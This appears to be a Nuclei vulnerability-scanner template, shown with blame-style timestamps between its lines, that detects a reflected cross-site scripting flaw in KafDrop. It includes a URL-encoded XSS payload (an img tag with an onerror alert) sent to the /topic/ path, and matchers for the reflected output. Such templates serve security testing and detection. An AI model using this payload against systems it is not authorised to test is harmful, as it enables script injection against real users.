2021-05-05 18:21:53 +00:00
id : kafdrop-xss
info :
2022-05-13 20:26:43 +00:00
name : KafDrop - Cross-Site Scripting
2021-05-05 18:21:53 +00:00
author : dhiyaneshDk
2022-09-23 17:53:08 +00:00
severity : high
description : KafDrop contains a cross-site scripting vulnerability. It allows remote unauthenticated attackers to inject arbitrary HTML and/or JavaScript into the response returned by the server.
2022-04-22 10:38:41 +00:00
reference :
- https://github.com/HomeAdvisor/Kafdrop/issues/12
2022-09-23 17:53:08 +00:00
- https://www.blackhatethicalhacking.com/news/apache-kafka-cloud-clusters-expose-sensitive-data-for-large-companies
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score : 7.2
cwe-id : CWE-79
2022-04-22 10:38:41 +00:00
tags : kafdrop,xss
2021-05-05 18:21:53 +00:00
requests :
- method : GET
path :
- "{{BaseURL}}/topic/e'%22%3E%3Cimg%20src=x%20onerror=alert(2)%3E"
2021-05-07 09:26:40 +00:00
2021-05-05 18:21:53 +00:00
matchers-condition : and
matchers :
- type : word
words :
- 'Kafdrop'
- '<img src=x onerror=alert(2)>'
part : body
2021-05-07 09:26:40 +00:00
condition : and
2021-05-05 18:21:53 +00:00
- type : status
status :
- 500
2022-09-23 17:53:08 +00:00
# Enhanced by mp on 2022/09/23
